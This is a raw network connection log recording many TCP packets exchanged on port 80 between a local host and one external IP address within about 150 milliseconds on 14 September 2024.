Sep 14, 2024 18:44:30.331125975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331130981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331130981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331130981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331130981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331140995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331156969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331163883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331173897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331195116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331259012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331274033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331288099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331299067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331302881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331319094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331325054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331335068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331348896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331353903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331392050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331396103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331412077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331427097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331439018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331444979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331485987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331540108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331554890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331569910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331583977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331588984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331599951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331617117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331619978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331635952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331650019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331650019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331667900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331682920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331682920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331700087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331716061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331785917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331799984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331814051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331825972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331825972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331842899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331857920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331857920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331882000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331887007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331909895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331918955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331924915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331940889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331959009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.331970930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.331984997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332000017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332006931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332014084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332031965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332108974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332166910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332181931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332187891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332196951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332212925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332218885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332227945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332242966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332246065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332258940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332273960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332281113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332288980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332303047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332305908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332318068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332333088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332338095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332348108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332362890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332365036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332395077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332478046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332492113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332505941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332520962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332528114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332536936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332551956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332552910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332568884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332583904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332590103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332601070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332616091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332623959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332632065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332650900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332690001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332705021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332719088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332729101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332732916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332747936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332753897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332765102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332779884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332788944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332814932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332829952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332844973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332866907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332875967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332881927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332897902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332911968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.332916021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.332948923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333148003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333164930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333179951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333194971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333198071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333211899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333226919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333230019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333245993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333261013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333261013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333276033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333290100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333293915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333304882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333319902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333322048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333337069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333350897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333352089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333374977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333383083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333389997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333405018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333420038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333422899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333436012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333451033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333451986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333466053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333482981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333483934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.333494902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.333518028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.377156019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.385756969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385776997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385802031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385827065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385828972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.385843992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385859966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385874987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385883093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.385891914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.385905027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.385937929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418116093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418167114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418200970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418232918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418266058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418267965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418314934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418349028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418380976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418382883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418382883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418431044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418441057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418490887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418540955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418545961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418575048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418607950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418622017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418643951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418677092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418690920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418710947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418742895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418757915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418776035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418808937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418821096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418842077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418888092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418899059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418932915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418965101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.418978930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.418998957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419032097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419044971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419064999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419101000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419111013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419137955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419171095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419183016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419203997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419238091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419248104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419276953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419321060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419326067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419361115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419404984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419411898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419445992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419492006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419495106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419528961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419562101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419574976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419594049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419629097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419641018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419661999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419693947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419704914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419725895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419758081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419775963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419789076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419822931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419833899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419855118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419892073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419900894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419924974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419958115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.419972897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.419990063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420022964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420038939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420057058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420089006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420103073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420139074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420171976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420186043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420205116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420238972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420255899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420288086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420320988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420336008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420370102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420402050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420417070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420433044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420473099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420476913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420506954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420555115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420557022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420591116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420623064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420636892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420656919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420691013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420698881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420723915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420756102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420762062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420789003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420820951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420828104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420861006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420892000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420906067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420926094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420958996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.420972109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.420991898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421024084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421037912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421052933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421083927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421101093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421117067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421149015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421158075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421181917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421214104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421222925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421247959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421283007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421288013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421318054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421350002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421369076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421384096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421413898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421432018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421447039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421479940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421493053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421510935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421542883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421559095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421576023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421607971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421617985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421643019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421670914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421684980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421701908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421734095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421750069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421766996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421801090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421808004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421833992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421866894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421883106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.421902895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:30.421947956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:30.472515106 CEST	80	54891	188.114.96.3	192.168.2.7
